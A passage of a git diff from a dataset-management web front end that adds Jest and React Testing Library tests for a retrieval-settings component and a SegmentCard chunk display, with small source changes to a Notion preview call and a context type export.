+
+    describe('showMultiModalTip variations', () => {
+      it('should pass true to child component', () => {
+        renderComponent({
+          value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }),
+          showMultiModalTip: true,
+        })
+        expect(screen.getByTestId('param-config-multimodal-tip')).toHaveTextContent('true')
+      })
+
+      it('should pass false to child component', () => {
+        renderComponent({
+          value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }),
+          showMultiModalTip: false,
+        })
+        expect(screen.getByTestId('param-config-multimodal-tip')).toHaveTextContent('false')
+      })
+    })
+  })
+
+  // Tests for active state visual indication
+  describe('Active State Visual Indication', () => {
+    it('should show recommended badge only on hybrid search', () => {
+      renderComponent()
+
+      // The hybrid search option should have the recommended badge
+      // This is verified by checking the isRecommended prop passed to OptionCard
+      const hybridTitle = screen.getByText('dataset.retrieval.hybrid_search.title')
+      const hybridCard = hybridTitle.closest('div[class*="cursor"]')
+
+      // Should contain recommended badge from OptionCard
+      expect(hybridCard?.querySelector('[class*="badge"]') || screen.queryByText('datasetCreation.stepTwo.recommend')).toBeTruthy()
+    })
+  })
+
+  // Tests for integration with OptionCard
+  describe('OptionCard Integration', () => {
+    it('should pass correct props to OptionCard for semantic search', () => {
+      renderComponent({
+        value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.semantic }),
+      })
+
+      const semanticTitle = screen.getByText('dataset.retrieval.semantic_search.title')
+      expect(semanticTitle).toBeInTheDocument()
+
+      // Check description
+      const semanticDesc = screen.getByText('dataset.retrieval.semantic_search.description')
+      expect(semanticDesc).toBeInTheDocument()
+    })
+
+    it('should pass correct props to OptionCard for fullText search', () => {
+      renderComponent({
+        value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.fullText }),
+      })
+
+      const fullTextTitle = screen.getByText('dataset.retrieval.full_text_search.title')
+      expect(fullTextTitle).toBeInTheDocument()
+
+      const fullTextDesc = screen.getByText('dataset.retrieval.full_text_search.description')
+      expect(fullTextDesc).toBeInTheDocument()
+    })
+
+    it('should pass correct props to OptionCard for hybrid search', () => {
+      renderComponent({
+        value: createMockRetrievalConfig({ search_method: RETRIEVE_METHOD.hybrid }),
+      })
+
+      const hybridTitle = screen.getByText('dataset.retrieval.hybrid_search.title')
+      expect(hybridTitle).toBeInTheDocument()
+
+      const hybridDesc = screen.getByText('dataset.retrieval.hybrid_search.description')
+      expect(hybridDesc).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/datasets/create/notion-page-preview/index.tsx b/web/app/components/datasets/create/notion-page-preview/index.tsx
index 000b84ac62..edbee2b194 100644
--- a/web/app/components/datasets/create/notion-page-preview/index.tsx
+++ b/web/app/components/datasets/create/notion-page-preview/index.tsx
@@ -29,7 +29,6 @@ const NotionPagePreview = ({
       return
     try {
       const res = await fetchNotionPagePreview({
-        workspaceID: currentPage.workspace_id,
         pageID: currentPage.page_id,
         pageType: currentPage.type,
         credentialID: notionCredentialId,
diff --git a/web/app/components/datasets/documents/detail/completed/index.tsx b/web/app/components/datasets/documents/detail/completed/index.tsx
index a3f76d9481..ad405f6b15 100644
--- a/web/app/components/datasets/documents/detail/completed/index.tsx
+++ b/web/app/components/datasets/documents/detail/completed/index.tsx
@@ -62,7 +62,7 @@ type CurrChildChunkType = {
   showModal: boolean
 }
 
-type SegmentListContextValue = {
+export type SegmentListContextValue = {
   isCollapsed: boolean
   fullScreen: boolean
   toggleFullScreen: (fullscreen?: boolean) => void
diff --git a/web/app/components/datasets/documents/detail/completed/segment-card/index.spec.tsx b/web/app/components/datasets/documents/detail/completed/segment-card/index.spec.tsx
new file mode 100644
index 0000000000..ced1bf05a9
--- /dev/null
+++ b/web/app/components/datasets/documents/detail/completed/segment-card/index.spec.tsx
@@ -0,0 +1,1204 @@
+import React from 'react'
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import SegmentCard from './index'
+import { type Attachment, type ChildChunkDetail, ChunkingMode, type ParentMode, type SegmentDetailModel } from '@/models/datasets'
+import type { DocumentContextValue } from '@/app/components/datasets/documents/detail/context'
+import type { SegmentListContextValue } from '@/app/components/datasets/documents/detail/completed'
+
+// Mock react-i18next - external dependency
+jest.mock('react-i18next', () => ({
+  useTranslation: () => ({
+    t: (key: string, options?: { count?: number }) => {
+      if (key === 'datasetDocuments.segment.characters')
+        return options?.count === 1 ? 'character' : 'characters'
+      if (key === 'datasetDocuments.segment.childChunks')
+        return options?.count === 1 ? 'child chunk' : 'child chunks'
+      return key
+    },
+  }),
+}))
+
+// ============================================================================
+// Context Mocks - need to control test scenarios
+// ============================================================================
+
+const mockDocForm = { current: ChunkingMode.text }
+const mockParentMode = { current: 'paragraph' as ParentMode }
+
+jest.mock('../../context', () => ({
+  useDocumentContext: (selector: (value: DocumentContextValue) => unknown) => {
+    const value: DocumentContextValue = {
+      datasetId: 'test-dataset-id',
+      documentId: 'test-document-id',
+      docForm: mockDocForm.current,
+      parentMode: mockParentMode.current,
+    }
+    return selector(value)
+  },
+}))
+
+const mockIsCollapsed = { current: true }
+jest.mock('../index', () => ({
+  useSegmentListContext: (selector: (value: SegmentListContextValue) => unknown) => {
+    const value: SegmentListContextValue = {
+      isCollapsed: mockIsCollapsed.current,
+      fullScreen: false,
+      toggleFullScreen: jest.fn(),
+      currSegment: { showModal: false },
+      currChildChunk: { showModal: false },
+    }
+    return selector(value)
+  },
+}))
+
+// ============================================================================
+// Component Mocks - components with complex ESM dependencies (ky, react-pdf-highlighter, etc.)
+// These are mocked to avoid Jest ESM parsing issues, not because they're external
+// ============================================================================
+
+// StatusItem has deep dependency: use-document hooks → service/base → ky (ESM)
+jest.mock('../../../status-item', () => ({
+  __esModule: true,
+  default: ({ status, reverse, textCls }: { status: string; reverse?: boolean; textCls?: string }) => (
+    <div data-testid="status-item" data-status={status} data-reverse={reverse} className={textCls}>
+      Status: {status}
+    </div>
+  ),
+}))
+
+// ImageList has deep dependency: FileThumb → file-uploader → ky, react-pdf-highlighter (ESM)
+jest.mock('@/app/components/datasets/common/image-list', () => ({
+  __esModule: true,
+  default: ({ images, size, className }: { images: Array<{ sourceUrl: string; name: string }>; size?: string; className?: string }) => (
+    <div data-testid="image-list" data-image-count={images.length} data-size={size} className={className}>
+      {images.map((img, idx: number) => (
+        <img key={idx} src={img.sourceUrl} alt={img.name} />
+      ))}
+    </div>
+  ),
+}))
+
+// Markdown uses next/dynamic and react-syntax-highlighter (ESM)
+jest.mock('@/app/components/base/markdown', () => ({
+  __esModule: true,
+  Markdown: ({ content, className }: { content: string; className?: string }) => (
+    <div data-testid="markdown" className={`markdown-body ${className || ''}`}>{content}</div>
+  ),
+}))
+
+// ============================================================================
+// Test Data Factories
+// ============================================================================
+
+const createMockAttachment = (overrides: Partial<Attachment> = {}): Attachment => ({
+  id: 'attachment-1',
+  name: 'test-image.png',
+  size: 1024,
+  extension: 'png',
+  mime_type: 'image/png',
+  source_url: 'https://example.com/test-image.png',
+  ...overrides,
+})
+
+const createMockChildChunk = (overrides: Partial<ChildChunkDetail> = {}): ChildChunkDetail => ({
+  id: 'child-chunk-1',
+  position: 1,
+  segment_id: 'segment-1',
+  content: 'Child chunk content',
+  word_count: 100,
+  created_at: 1700000000,
+  updated_at: 1700000000,
+  type: 'automatic',
+  ...overrides,
+})
+
+const createMockSegmentDetail = (overrides: Partial<SegmentDetailModel & { document?: { name: string } }> = {}): SegmentDetailModel & { document?: { name: string } } => ({
+  id: 'segment-1',
+  position: 1,
+  document_id: 'doc-1',
+  content: 'Test segment content',
+  sign_content: 'Test signed content',
+  word_count: 100,
+  tokens: 50,
+  keywords: ['keyword1', 'keyword2'],
+  index_node_id: 'index-1',
+  index_node_hash: 'hash-1',
+  hit_count: 10,
+  enabled: true,
+  disabled_at: 0,
+  disabled_by: '',
+  status: 'completed',
+  created_by: 'user-1',
+  created_at: 1700000000,
+  indexing_at: 1700000100,
+  completed_at: 1700000200,
+  error: null,
+  stopped_at: 0,
+  updated_at: 1700000000,
+  attachments: [],
+  child_chunks: [],
+  document: { name: 'Test Document' },
+  ...overrides,
+})
+
+const defaultFocused = { segmentIndex: false, segmentContent: false }
+
+// ============================================================================
+// Tests
+// ============================================================================
+
+describe('SegmentCard', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockDocForm.current = ChunkingMode.text
+    mockParentMode.current = 'paragraph'
+    mockIsCollapsed.current = true
+  })
+
+  // --------------------------------------------------------------------------
+  // Rendering Tests
+  // --------------------------------------------------------------------------
+  describe('Rendering', () => {
+    it('should render loading skeleton when loading is true', () => {
+      render(<SegmentCard loading={true} focused={defaultFocused} />)
+
+      // ParentChunkCardSkeleton should render
+      expect(screen.getByTestId('parent-chunk-card-skeleton')).toBeInTheDocument()
+    })
+
+    it('should render segment card content when loading is false', () => {
+      const detail = createMockSegmentDetail()
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      // ChunkContent shows sign_content first, then content
+      expect(screen.getByText('Test signed content')).toBeInTheDocument()
+    })
+
+    it('should render segment index tag with correct position', () => {
+      const detail = createMockSegmentDetail({ position: 5 })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText(/Chunk-05/i)).toBeInTheDocument()
+    })
+
+    it('should render word count text', () => {
+      const detail = createMockSegmentDetail({ word_count: 250 })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText('250 characters')).toBeInTheDocument()
+    })
+
+    it('should render hit count text', () => {
+      const detail = createMockSegmentDetail({ hit_count: 42 })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText('42 datasetDocuments.segment.hitCount')).toBeInTheDocument()
+    })
+
+    it('should apply custom className', () => {
+      const detail = createMockSegmentDetail()
+
+      render(
+        <SegmentCard loading={false} detail={detail} className="custom-class" focused={defaultFocused} />,
+      )
+
+      const card = screen.getByTestId('segment-card')
+      expect(card).toHaveClass('custom-class')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Props Tests
+  // --------------------------------------------------------------------------
+  describe('Props', () => {
+    it('should use default empty object when detail is undefined', () => {
+      render(<SegmentCard loading={false} focused={defaultFocused} />)
+
+      expect(screen.getByText(/Chunk/i)).toBeInTheDocument()
+    })
+
+    it('should handle archived prop correctly - switch should be disabled', () => {
+      const detail = createMockSegmentDetail()
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          archived={true}
+          embeddingAvailable={true}
+          focused={defaultFocused}
+        />,
+      )
+
+      const switchElement = screen.getByRole('switch')
+      expect(switchElement).toHaveClass('!cursor-not-allowed')
+    })
+
+    it('should show action buttons when embeddingAvailable is true', () => {
+      const detail = createMockSegmentDetail()
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          embeddingAvailable={true}
+          focused={defaultFocused}
+        />,
+      )
+
+      expect(screen.getByTestId('segment-edit-button')).toBeInTheDocument()
+      expect(screen.getByTestId('segment-delete-button')).toBeInTheDocument()
+      expect(screen.getByRole('switch')).toBeInTheDocument()
+    })
+
+    it('should not show action buttons when embeddingAvailable is false', () => {
+      const detail = createMockSegmentDetail()
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          embeddingAvailable={false}
+          focused={defaultFocused}
+        />,
+      )
+
+      expect(screen.queryByRole('switch')).not.toBeInTheDocument()
+    })
+
+    it('should apply focused styles when segmentContent is focused', () => {
+      const detail = createMockSegmentDetail()
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          focused={{ segmentIndex: false, segmentContent: true }}
+        />,
+      )
+
+      const card = screen.getByTestId('segment-card')
+      expect(card).toHaveClass('bg-dataset-chunk-detail-card-hover-bg')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // State Management Tests
+  // --------------------------------------------------------------------------
+  describe('State Management', () => {
+    it('should toggle delete confirmation modal when delete button clicked', async () => {
+      const detail = createMockSegmentDetail()
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          embeddingAvailable={true}
+          focused={defaultFocused}
+        />,
+      )
+
+      const deleteButton = screen.getByTestId('segment-delete-button')
+      fireEvent.click(deleteButton)
+
+      await waitFor(() => {
+        expect(screen.getByText('datasetDocuments.segment.delete')).toBeInTheDocument()
+      })
+    })
+
+    it('should close delete confirmation modal when cancel is clicked', async () => {
+      const detail = createMockSegmentDetail()
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          embeddingAvailable={true}
+          focused={defaultFocused}
+        />,
+      )
+
+      const deleteButton = screen.getByTestId('segment-delete-button')
+      fireEvent.click(deleteButton)
+
+      await waitFor(() => {
+        expect(screen.getByText('datasetDocuments.segment.delete')).toBeInTheDocument()
+      })
+
+      fireEvent.click(screen.getByText('common.operation.cancel'))
+
+      await waitFor(() => {
+        expect(screen.queryByText('datasetDocuments.segment.delete')).not.toBeInTheDocument()
+      })
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Callback Tests
+  // --------------------------------------------------------------------------
+  describe('Callbacks', () => {
+    it('should call onClick when card is clicked in general mode', () => {
+      const onClick = jest.fn()
+      const detail = createMockSegmentDetail()
+      mockDocForm.current = ChunkingMode.text
+
+      render(
+        <SegmentCard loading={false} detail={detail} onClick={onClick} focused={defaultFocused} />,
+      )
+
+      const card = screen.getByTestId('segment-card')
+      fireEvent.click(card)
+
+      expect(onClick).toHaveBeenCalledTimes(1)
+    })
+
+    it('should not call onClick when card is clicked in full-doc mode', () => {
+      const onClick = jest.fn()
+      const detail = createMockSegmentDetail()
+      mockDocForm.current = ChunkingMode.parentChild
+      mockParentMode.current = 'full-doc'
+
+      render(
+        <SegmentCard loading={false} detail={detail} onClick={onClick} focused={defaultFocused} />,
+      )
+
+      const card = screen.getByTestId('segment-card')
+      fireEvent.click(card)
+
+      expect(onClick).not.toHaveBeenCalled()
+    })
+
+    it('should call onClick when view more button is clicked in full-doc mode', () => {
+      const onClick = jest.fn()
+      const detail = createMockSegmentDetail()
+      mockDocForm.current = ChunkingMode.parentChild
+      mockParentMode.current = 'full-doc'
+
+      render(<SegmentCard loading={false} detail={detail} onClick={onClick} focused={defaultFocused} />)
+
+      const viewMoreButton = screen.getByRole('button', { name: /viewMore/i })
+      fireEvent.click(viewMoreButton)
+
+      expect(onClick).toHaveBeenCalledTimes(1)
+    })
+
+    it('should call onClickEdit when edit button is clicked', () => {
+      const onClickEdit = jest.fn()
+      const detail = createMockSegmentDetail()
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          onClickEdit={onClickEdit}
+          embeddingAvailable={true}
+          focused={defaultFocused}
+        />,
+      )
+
+      const editButton = screen.getByTestId('segment-edit-button')
+      fireEvent.click(editButton)
+
+      expect(onClickEdit).toHaveBeenCalledTimes(1)
+    })
+
+    it('should call onDelete when confirm delete is clicked', async () => {
+      const onDelete = jest.fn().mockResolvedValue(undefined)
+      const detail = createMockSegmentDetail({ id: 'test-segment-id' })
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          onDelete={onDelete}
+          embeddingAvailable={true}
+          focused={defaultFocused}
+        />,
+      )
+
+      const deleteButton = screen.getByTestId('segment-delete-button')
+      fireEvent.click(deleteButton)
+
+      await waitFor(() => {
+        expect(screen.getByText('datasetDocuments.segment.delete')).toBeInTheDocument()
+      })
+
+      fireEvent.click(screen.getByText('common.operation.sure'))
+
+      await waitFor(() => {
+        expect(onDelete).toHaveBeenCalledWith('test-segment-id')
+      })
+    })
+
+    it('should call onChangeSwitch when switch is toggled', async () => {
+      const onChangeSwitch = jest.fn().mockResolvedValue(undefined)
+      const detail = createMockSegmentDetail({ id: 'test-segment-id', enabled: true, status: 'completed' })
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          onChangeSwitch={onChangeSwitch}
+          embeddingAvailable={true}
+          focused={defaultFocused}
+        />,
+      )
+
+      const switchElement = screen.getByRole('switch')
+      fireEvent.click(switchElement)
+
+      await waitFor(() => {
+        expect(onChangeSwitch).toHaveBeenCalledWith(false, 'test-segment-id')
+      })
+    })
+
+    it('should stop propagation when edit button is clicked', () => {
+      const onClick = jest.fn()
+      const onClickEdit = jest.fn()
+      const detail = createMockSegmentDetail()
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          onClick={onClick}
+          onClickEdit={onClickEdit}
+          embeddingAvailable={true}
+          focused={defaultFocused}
+        />,
+      )
+
+      const editButton = screen.getByTestId('segment-edit-button')
+      fireEvent.click(editButton)
+
+      expect(onClickEdit).toHaveBeenCalledTimes(1)
+      expect(onClick).not.toHaveBeenCalled()
+    })
+
+    it('should stop propagation when switch area is clicked', () => {
+      const onClick = jest.fn()
+      const detail = createMockSegmentDetail({ status: 'completed' })
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          onClick={onClick}
+          embeddingAvailable={true}
+          focused={defaultFocused}
+        />,
+      )
+
+      const switchElement = screen.getByRole('switch')
+      const switchContainer = switchElement.parentElement
+      fireEvent.click(switchContainer!)
+
+      expect(onClick).not.toHaveBeenCalled()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Memoization Logic Tests
+  // --------------------------------------------------------------------------
+  describe('Memoization Logic', () => {
+    it('should compute isGeneralMode correctly for text mode - show keywords', () => {
+      mockDocForm.current = ChunkingMode.text
+      const detail = createMockSegmentDetail({ keywords: ['testkeyword'] })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText('testkeyword')).toBeInTheDocument()
+    })
+
+    it('should compute isGeneralMode correctly for non-text mode - hide keywords', () => {
+      mockDocForm.current = ChunkingMode.qa
+      const detail = createMockSegmentDetail({ keywords: ['testkeyword'] })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.queryByText('testkeyword')).not.toBeInTheDocument()
+    })
+
+    it('should compute isParentChildMode correctly - show parent chunk prefix', () => {
+      mockDocForm.current = ChunkingMode.parentChild
+      const detail = createMockSegmentDetail()
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText(/datasetDocuments\.segment\.parentChunk/i)).toBeInTheDocument()
+    })
+
+    it('should compute isFullDocMode correctly - show view more button', () => {
+      mockDocForm.current = ChunkingMode.parentChild
+      mockParentMode.current = 'full-doc'
+      const detail = createMockSegmentDetail()
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText('common.operation.viewMore')).toBeInTheDocument()
+    })
+
+    it('should compute isParagraphMode correctly and show child chunks', () => {
+      mockDocForm.current = ChunkingMode.parentChild
+      mockParentMode.current = 'paragraph'
+      const childChunks = [createMockChildChunk()]
+      const detail = createMockSegmentDetail({ child_chunks: childChunks })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      // ChildSegmentList should render
+      expect(screen.getByText(/child chunk/i)).toBeInTheDocument()
+    })
+
+    it('should compute chunkEdited correctly when updated_at > created_at', () => {
+      mockDocForm.current = ChunkingMode.text
+      const detail = createMockSegmentDetail({
+        created_at: 1700000000,
+        updated_at: 1700000001,
+      })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText('datasetDocuments.segment.edited')).toBeInTheDocument()
+    })
+
+    it('should not show edited badge when timestamps are equal', () => {
+      mockDocForm.current = ChunkingMode.text
+      const detail = createMockSegmentDetail({
+        created_at: 1700000000,
+        updated_at: 1700000000,
+      })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.queryByText('datasetDocuments.segment.edited')).not.toBeInTheDocument()
+    })
+
+    it('should not show edited badge in full-doc mode', () => {
+      mockDocForm.current = ChunkingMode.parentChild
+      mockParentMode.current = 'full-doc'
+      const detail = createMockSegmentDetail({
+        created_at: 1700000000,
+        updated_at: 1700000001,
+      })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.queryByText('datasetDocuments.segment.edited')).not.toBeInTheDocument()
+    })
+
+    it('should compute contentOpacity correctly when enabled', () => {
+      const detail = createMockSegmentDetail({ enabled: true })
+
+      const { container } = render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      const wordCount = container.querySelector('.system-xs-medium.text-text-tertiary')
+      expect(wordCount).not.toHaveClass('opacity-50')
+    })
+
+    it('should compute contentOpacity correctly when disabled', () => {
+      const detail = createMockSegmentDetail({ enabled: false })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      // ChunkContent receives opacity class when disabled
+      const markdown = screen.getByTestId('markdown')
+      expect(markdown).toHaveClass('opacity-50')
+    })
+
+    it('should not apply opacity when disabled but focused', () => {
+      const detail = createMockSegmentDetail({ enabled: false })
+
+      const { container } = render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          focused={{ segmentIndex: false, segmentContent: true }}
+        />,
+      )
+
+      const wordCount = container.querySelector('.system-xs-medium.text-text-tertiary')
+      expect(wordCount).not.toHaveClass('opacity-50')
+    })
+
+    it('should compute wordCountText with correct format for singular', () => {
+      const detail = createMockSegmentDetail({ word_count: 1 })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText('1 character')).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Mode-specific Rendering Tests
+  // --------------------------------------------------------------------------
+  describe('Mode-specific Rendering', () => {
+    it('should render without padding classes in full-doc mode', () => {
+      mockDocForm.current = ChunkingMode.parentChild
+      mockParentMode.current = 'full-doc'
+      const detail = createMockSegmentDetail()
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      const card = screen.getByTestId('segment-card')
+      expect(card).not.toHaveClass('pb-2')
+      expect(card).not.toHaveClass('pt-2.5')
+    })
+
+    it('should render with hover classes in non full-doc mode', () => {
+      mockDocForm.current = ChunkingMode.text
+      const detail = createMockSegmentDetail()
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      const card = screen.getByTestId('segment-card')
+      expect(card).toHaveClass('pb-2')
+      expect(card).toHaveClass('pt-2.5')
+    })
+
+    it('should not render status item in full-doc mode', () => {
+      mockDocForm.current = ChunkingMode.parentChild
+      mockParentMode.current = 'full-doc'
+      const detail = createMockSegmentDetail()
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      // In full-doc mode, status item should not render
+      expect(screen.queryByText('Status:')).not.toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Child Segment List Tests
+  // --------------------------------------------------------------------------
+  describe('Child Segment List', () => {
+    it('should render ChildSegmentList when in paragraph mode with child chunks', () => {
+      mockDocForm.current = ChunkingMode.parentChild
+      mockParentMode.current = 'paragraph'
+      const childChunks = [createMockChildChunk(), createMockChildChunk({ id: 'child-2', position: 2 })]
+      const detail = createMockSegmentDetail({ child_chunks: childChunks })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText(/2 child chunks/i)).toBeInTheDocument()
+    })
+
+    it('should not render ChildSegmentList when child_chunks is empty', () => {
+      mockDocForm.current = ChunkingMode.parentChild
+      mockParentMode.current = 'paragraph'
+      const detail = createMockSegmentDetail({ child_chunks: [] })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.queryByText(/child chunk/i)).not.toBeInTheDocument()
+    })
+
+    it('should not render ChildSegmentList in full-doc mode', () => {
+      mockDocForm.current = ChunkingMode.parentChild
+      mockParentMode.current = 'full-doc'
+      const childChunks = [createMockChildChunk()]
+      const detail = createMockSegmentDetail({ child_chunks: childChunks })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      // In full-doc mode, ChildSegmentList should not render
+      expect(screen.queryByText(/1 child chunk$/i)).not.toBeInTheDocument()
+    })
+
+    it('should call handleAddNewChildChunk when add button is clicked', () => {
+      mockDocForm.current = ChunkingMode.parentChild
+      mockParentMode.current = 'paragraph'
+      const handleAddNewChildChunk = jest.fn()
+      const childChunks = [createMockChildChunk()]
+      const detail = createMockSegmentDetail({ id: 'parent-id', child_chunks: childChunks })
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          handleAddNewChildChunk={handleAddNewChildChunk}
+          focused={defaultFocused}
+        />,
+      )
+
+      const addButton = screen.getByText('common.operation.add')
+      fireEvent.click(addButton)
+
+      expect(handleAddNewChildChunk).toHaveBeenCalledWith('parent-id')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Keywords Display Tests
+  // --------------------------------------------------------------------------
+  describe('Keywords Display', () => {
+    it('should render keywords with # prefix in general mode', () => {
+      mockDocForm.current = ChunkingMode.text
+      const detail = createMockSegmentDetail({ keywords: ['keyword1', 'keyword2'] })
+
+      const { container } = render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText('keyword1')).toBeInTheDocument()
+      expect(screen.getByText('keyword2')).toBeInTheDocument()
+      // Tag component shows # prefix
+      const hashtags = container.querySelectorAll('.text-text-quaternary')
+      expect(hashtags.length).toBeGreaterThan(0)
+    })
+
+    it('should not render keywords in QA mode', () => {
+      mockDocForm.current = ChunkingMode.qa
+      const detail = createMockSegmentDetail({ keywords: ['keyword1'] })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.queryByText('keyword1')).not.toBeInTheDocument()
+    })
+
+    it('should not render keywords in parent-child mode', () => {
+      mockDocForm.current = ChunkingMode.parentChild
+      const detail = createMockSegmentDetail({ keywords: ['keyword1'] })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.queryByText('keyword1')).not.toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Images Display Tests
+  // --------------------------------------------------------------------------
+  describe('Images Display', () => {
+    it('should render ImageList when attachments exist', () => {
+      const attachments = [createMockAttachment()]
+      const detail = createMockSegmentDetail({ attachments })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      // ImageList uses FileThumb which renders images
+      expect(screen.getByAltText('test-image.png')).toBeInTheDocument()
+    })
+
+    it('should not render ImageList when attachments is empty', () => {
+      const detail = createMockSegmentDetail({ attachments: [] })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.queryByAltText('test-image.png')).not.toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Edge Cases and Error Handling Tests
+  // --------------------------------------------------------------------------
+  describe('Edge Cases and Error Handling', () => {
+    it('should handle undefined detail gracefully', () => {
+      render(<SegmentCard loading={false} detail={undefined} focused={defaultFocused} />)
+
+      expect(screen.getByText(/Chunk/i)).toBeInTheDocument()
+    })
+
+    it('should handle empty detail object gracefully', () => {
+      render(<SegmentCard loading={false} detail={{} as SegmentDetailModel} focused={defaultFocused} />)
+
+      expect(screen.getByText(/Chunk/i)).toBeInTheDocument()
+    })
+
+    it('should handle missing callback functions gracefully', () => {
+      const detail = createMockSegmentDetail()
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          onClick={undefined}
+          onChangeSwitch={undefined}
+          onDelete={undefined}
+          onClickEdit={undefined}
+          embeddingAvailable={true}
+          focused={defaultFocused}
+        />,
+      )
+
+      const card = screen.getByTestId('segment-card')
+      expect(() => fireEvent.click(card)).not.toThrow()
+    })
+
+    it('should handle switch being disabled when status is not completed', () => {
+      const detail = createMockSegmentDetail({ status: 'indexing' })
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          embeddingAvailable={true}
+          focused={defaultFocused}
+        />,
+      )
+
+      // The Switch component uses CSS classes for disabled state, not the native disabled attribute
+      const switchElement = screen.getByRole('switch')
+      expect(switchElement).toHaveClass('!cursor-not-allowed', '!opacity-50')
+    })
+
+    it('should handle zero word count', () => {
+      const detail = createMockSegmentDetail({ word_count: 0 })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText('0 characters')).toBeInTheDocument()
+    })
+
+    it('should handle zero hit count', () => {
+      const detail = createMockSegmentDetail({ hit_count: 0 })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText('0 datasetDocuments.segment.hitCount')).toBeInTheDocument()
+    })
+
+    it('should handle very long content', () => {
+      const longContent = 'A'.repeat(10000)
+      // ChunkContent shows sign_content first, so set it to the long content
+      const detail = createMockSegmentDetail({ sign_content: longContent })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText(longContent)).toBeInTheDocument()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Component Integration Tests
+  // --------------------------------------------------------------------------
+  describe('Component Integration', () => {
+    it('should render real Tag component with hashtag styling', () => {
+      mockDocForm.current = ChunkingMode.text
+      const detail = createMockSegmentDetail({ keywords: ['testkeyword'] })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText('testkeyword')).toBeInTheDocument()
+    })
+
+    it('should render real Divider component', () => {
+      const detail = createMockSegmentDetail()
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          embeddingAvailable={true}
+          focused={defaultFocused}
+        />,
+      )
+
+      const dividers = document.querySelectorAll('.bg-divider-regular')
+      expect(dividers.length).toBeGreaterThan(0)
+    })
+
+    it('should render real Badge component when edited', () => {
+      mockDocForm.current = ChunkingMode.text
+      const detail = createMockSegmentDetail({
+        created_at: 1700000000,
+        updated_at: 1700000001,
+      })
+
